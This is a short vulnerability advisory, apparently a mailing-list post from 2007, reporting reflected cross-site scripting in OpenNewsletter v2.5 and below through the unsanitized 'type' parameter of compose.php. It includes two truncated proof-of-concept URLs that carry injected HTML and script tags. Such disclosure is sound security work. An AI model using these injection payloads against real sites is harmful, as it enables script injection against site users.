Software: OpenNewsletter

Homepage: http://www.selfexile.com/projects/opennewsletter

Affected version: v2.5 and below

Overview: OpenNewsletter si a free, simple, and beautiful
open source newsletter solution aimed at small-medium scale.

Attack:

A non-existant sanitization when parsing the PHP value 'type'
on 'compose.php', leads to some XSS attacks.

PoC:

http://www.vulnhost.com/path/to/open...EXSS!%3C/h1%3E
http://www.vulnhost.com/path/to/open...;%3C/script%3E

Solution: not aware of at 12/6/2007.

Credits: Manu (manuuu@darkprotocols.net)



----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.